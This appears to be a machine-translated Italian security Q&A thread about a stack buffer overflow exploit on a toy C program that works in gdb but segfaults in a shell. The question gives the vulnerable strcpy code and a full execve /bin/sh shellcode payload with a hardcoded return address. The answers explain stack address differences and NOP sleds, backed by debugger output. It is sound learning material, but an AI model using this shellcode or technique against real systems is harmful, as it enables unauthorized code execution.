C programma Segmentation fault exploit

0

Ho un programma vulnerabile in c che copia argv in un buffer e poi lo stampa:

# include <string.h>
# include <stdio.h>
# include <stdlib.h>

void func(char * arg){
   char name[32];
   strcpy(name, arg);
   printf("\n Welcome %s\n\n", name);
}

int main(int argc, char *argv[]) {
    if (argc < 2){
       printf("Use: %s Name\n", argv[0]);
       exit(0);
   }
   func(argv[1]);
   printf("End\n\n");
   return 0;
}

L'ho compilato con gcc senza nessuna protezione dello stack e execstack , quindi ho usato gdb per vedere il punto di memoria in cui dovrei cambiare l'EIP. Ma ho notato che lo shellcode è eseguito (l'exploit funziona) solo quando sono in gdb ma al di fuori non funziona.

Opere:

$ gdb ./prog -q
(gdb) run 'perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"''
$ whoami
user

Non funziona:

$ ./prog 'perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"''
segmentation fault

Perché succede? Penso che questo codice dovrebbe funzionare anche al di fuori di gdb.

    
posta Osmond 22.09.2016 - 15:32
fonte

2 risposte

0

È possibile che GDB stia scherzando con il tuo layout di memoria in fase di runtime, facendo in modo che tutto si allinei a seconda delle tue esigenze. Potrebbe valere la pena assicurarsi che vengano creati i dump di base, quindi utilizzare GDB per eseguire il debug post-mortem per verificare se il tuo codice viene effettivamente colpito.

In alternativa, EIP potrebbe essere impostato come previsto ma il tuo carico utile potrebbe essersi spostato, nel qual caso prendere in considerazione una slitta NOP e puntare a EIP per questo.

    
risposta data 22.09.2016 - 15:48
fonte
0

Come altri hanno già detto, gdb e shell usano indirizzi diversi, causando problemi con l'indirizzo di ritorno. Ho aggiunto alcuni nops e l'ho eseguito in GDB e in una shell con ltrace per trovare le differenze di posizione. Vedi sotto:

In GDB la stringa viene copiata in 0xbffff0c0


[----------------------------------registers-----------------------------------]
EAX: 0xbffff0c0 --> 0x90909090 
EBX: 0xb7fc0000 --> 0x1abda8 
ECX: 0xbffff3c0 --> 0x47445800 ('')
EDX: 0xbffff0f0 --> 0xbffff300 --> 0x80483b0 (<_start>: xor    ebp,ebp)
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0e8 ("AAAA0077")
ESP: 0xbffff0b0 --> 0xbffff0c0 --> 0x90909090 
EIP: 0x80484c5 (:  lea    eax,[ebp-0x28])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484ba : lea    eax,[ebp-0x28]
   0x80484bd : mov    DWORD PTR [esp],eax
   0x80484c0 : call   0x8048360 
=> 0x80484c5 : lea    eax,[ebp-0x28]
   0x80484c8 : mov    DWORD PTR [esp+0x4],eax
   0x80484cc : mov    DWORD PTR [esp],0x80485c0
   0x80484d3 : call   0x8048350 
   0x80484d8 : leave
[------------------------------------stack-------------------------------------]
0000| 0xbffff0b0 --> 0xbffff0c0 --> 0x90909090 
0004| 0xbffff0b4 --> 0xbffff390 --> 0x90909090 
0008| 0xbffff0b8 --> 0xb7e20c34 --> 0x2aad 
0012| 0xbffff0bc --> 0xb7e472f3 (<__new_exitfn+19>: add    ebx,0x178d0d)
0016| 0xbffff0c0 --> 0x90909090 
0020| 0xbffff0c4 --> 0xc0319090 
0024| 0xbffff0c8 ("Ph//shh/bin13PS110\v̀", 'A' , "0077")
0028| 0xbffff0cc ("shh/bin13PS110\v̀", 'A' , "0077")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x080484c5 in func () gdb-peda$

Nella shell la stringa viene copiata in 0xbffff130


mbe@mbe-VirtualBox:~/test$ ltrace ./a.out asdf
__libc_start_main(0x80484da, 2, 0xbffff214, 0x8048530 
strcpy(0xbffff130, "asdf")                        = 0xbffff130
    
risposta data 06.10.2017 - 13:43
fonte

Leggi altre domande sui tag